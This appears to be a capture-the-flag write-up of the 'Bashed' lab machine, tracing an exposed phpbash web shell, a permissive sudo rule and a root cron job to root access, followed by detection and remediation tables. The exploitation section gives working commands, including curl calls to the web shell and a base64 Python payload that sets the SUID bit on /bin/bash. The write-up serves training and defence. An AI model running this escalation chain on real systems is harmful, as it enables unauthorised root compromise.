Overview
Bashed is a box about development hygiene. The target runs Apache on Ubuntu
16.04, and the site’s index page openly describes phpbash, a web-based shell
the developer built and tested on this very server. The shell is still in
/dev/, accessible to anyone. From there, a sudo misconfiguration allows
lateral movement to a second user account, which owns a directory that a root
cron job reads Python scripts from. Three separate failures, each individually
fixable in minutes, chain into root access.
The broader lesson: attack chains don’t require sophisticated exploits. Three misconfigurations, each rated “medium” in isolation, combine into a critical path. Defenders who assess risks individually miss the compounding effect.
Reconnaissance
I start with a service-version scan:
nmap -sC -sV -oA scans/bashed 10.129.15.29
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 80 | HTTP | Apache httpd 2.4.18 (Ubuntu) | “Arrexel’s Development Site” |
| 10000 | Unknown | Filtered | Webmin (unreachable externally) |
Port 80 serves a site titled “Arrexel’s Development Site”. The index page contains a blog post describing phpbash and links to its GitHub repository. The developer states the tool was “developed on this exact server.”
Port 10000 is filtered from external connections. Webmin runs there but is only reachable from the box itself.
Attack Surface Analysis
Directory discovery
I run feroxbuster against port 80:
feroxbuster -u http://10.129.15.29 -w /usr/share/seclists/Discovery/Web-Content/common.txt
200 GET /
200 GET /about.html
200 GET /contact.html
301 GET /dev/
301 GET /uploads/
301 GET /php/
The /dev/ directory returns a listing (Apache Options +Indexes). Two files
are visible:
phpbash.php
phpbash.min.php
This is not a hidden backdoor. The developer openly documented its existence on the index page, and the directory listing makes it trivially discoverable. The box simulates a developer who forgot to clean up their test environment.
phpbash functionality
Navigating to http://10.129.15.29/dev/phpbash.php presents a browser-based
terminal. Commands are sent via POST with the cmd parameter and run via
PHP’s shell_exec(). The shell runs as www-data. No authentication required.
| Attribute | Value |
|---|---|
| CWE | CWE-552 (Files Accessible to External Parties) |
| CVSS v3 | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Root cause | Development artefact left in production web root |
| MITRE ATT&CK | T1505.003 (Web Shell) |
Vulnerability Analysis
The attack chain involves three independent misconfigurations:
1. Exposed web shell (CWE-552). phpbash.php provides unauthenticated
command running as www-data. The developer created it for testing and
never removed it. Apache directory listing on /dev/ makes it discoverable
without brute-forcing.
2. Overly permissive sudo (CWE-269). www-data can run any command as
scriptmanager without a password:
(scriptmanager : scriptmanager) NOPASSWD: ALL
This grants full lateral movement to the scriptmanager account.
3. Root cron running user-writable scripts (CWE-732). A root cron job
runs every minute and processes all Python scripts in /scripts/, a directory
owned by scriptmanager. Any user who can write to /scripts/ can escalate
to root.
Exploitation
Initial access via phpbash
Direct access to the web shell provides command running as www-data:
curl -s -X POST http://10.129.15.29/dev/phpbash.php -d "cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
The user flag is world-readable:
curl -s -X POST http://10.129.15.29/dev/phpbash.php -d "cmd=cat /home/arrexel/user.txt"
# [redacted]
Lateral movement to scriptmanager
curl -s -X POST http://10.129.15.29/dev/phpbash.php -d "cmd=sudo -l"
User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL
Checking the /scripts/ directory as scriptmanager:
sudo -u scriptmanager ls -la /scripts/
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Dec 4 2017 .
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
-rw-r--r-- 1 root root 12 Apr 4 06:01 test.txt
test.txt is owned by root with a recent modification timestamp. test.py
writes to test.txt. Root is processing Python scripts from this directory on
a schedule.
Privilege escalation via cron
I write a malicious Python script that sets the SUID bit on /bin/bash. The
base64 encoding avoids shell quoting issues through the web shell:
echo "aW1wb3J0IG9zCm9zLnN5c3RlbSgiY2htb2QgdStzIC9iaW4vYmFzaCIpCg==" | \
base64 -d | sudo -u scriptmanager tee /scripts/evil.py
After approximately 60 seconds, the cron job fires and sets the SUID bit:
ls -la /bin/bash
# -rwsr-xr-x 1 root root 1037528 Jun 24 2016 /bin/bash
/bin/bash -p -c 'cat /root/root.txt'
# [redacted]
The -p flag preserves the elevated effective UID. Without it, bash drops
the SUID privilege on startup as a security measure.
Post-Exploitation
id
# uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root)
uname -a
# Linux bashed 4.4.0-62-generic #83-Ubuntu SMP x86_64 GNU/Linux
The system runs Ubuntu 16.04.2 LTS with kernel 4.4.0. Webmin 1.580 on port 10000 is accessible from localhost and is vulnerable to CVE-2012-2982 (authenticated RCE), representing an alternative escalation path if credentials were available.
Defensive Analysis
Detection opportunities
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial access | T1505.003 | Web server logs showing POST requests to /dev/phpbash.php |
| Running commands | T1059.004 | Process monitoring: sh spawned by Apache/PHP |
| Privilege esc. | T1548.003 | sudo audit logs showing www-data running commands as scriptmanager |
| Privilege esc. | T1053.003 | File integrity monitoring on /scripts/ detecting new .py files |
| Persistence | T1548.001 | File integrity monitoring detecting SUID bit change on /bin/bash |
Web server logs: POST requests to /dev/phpbash.php with a cmd
parameter are unambiguous indicators of web shell activity. Any WAF or log
analysis tool should flag this pattern.
Process tree anomalies: Apache spawning /bin/sh or /bin/bash is
abnormal in most environments. Process monitoring tools (auditd, Sysmon for
Linux) can alert on this parent-child relationship.
File integrity monitoring: Tools like AIDE or OSSEC monitoring /scripts/
would detect the creation of evil.py. Monitoring SUID bit changes on
system binaries is a standard hardening practice that would catch the final
escalation step.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Remove phpbash.php and phpbash.min.php from /dev/ | Low | Critical |
| P0 | Disable Apache directory listing (Options -Indexes) | Low | Critical |
| P1 | Scope sudo entry to specific commands, not ALL | Low | High |
| P1 | Move root cron scripts to a root-owned directory (755) | Low | High |
| P2 | Remove or upgrade Webmin (1.580 is vulnerable) | Low | Medium |
| P2 | Isolate development environments from production | Medium | Medium |
| P3 | Audit all cron jobs for privilege escalation paths | Low | Medium |
The common thread across these findings is a failure to apply least privilege.
The web shell exists because development and production were not separated.
The sudo entry is ALL when it should be scoped. The cron job runs as root
against a directory writable by a non-root user. Each fix is trivial
individually; the real remediation is adopting least privilege as a design
principle rather than an afterthought.
Key Takeaways
-
Read the application before reaching for tools. The index page explicitly stated phpbash was tested on this server. Directory enumeration confirmed it, but reading the page would have made feroxbuster optional. Attackers who read application content before brute-forcing paths are faster and quieter.
-
sudo to a non-root user is still a privilege escalation building block. Dismissing
sudo -u otheruser NOPASSWD: ALLbecause it doesn’t grant root directly is a mistake. The question is always: what can that other user do? Here,scriptmanagerowned a directory that root’s cron read from, creating a two-hop path to root. -
Root cron identification without crontab access. Root’s crontab is not readable by other users. But its effects are visible: files owned by root with recent modification timestamps in directories owned by other users are a strong indicator. Watching
test.txtupdate every 60 seconds is empirical proof without ever reading/var/spool/cron/root. -
Base64 encoding bypasses shell quoting in web shell file writes. When writing code through a web shell, quotes and backticks in the payload conflict with the web shell’s own command parsing. Encode the entire payload, pipe through
base64 -d, and pipe totee. No escaping required.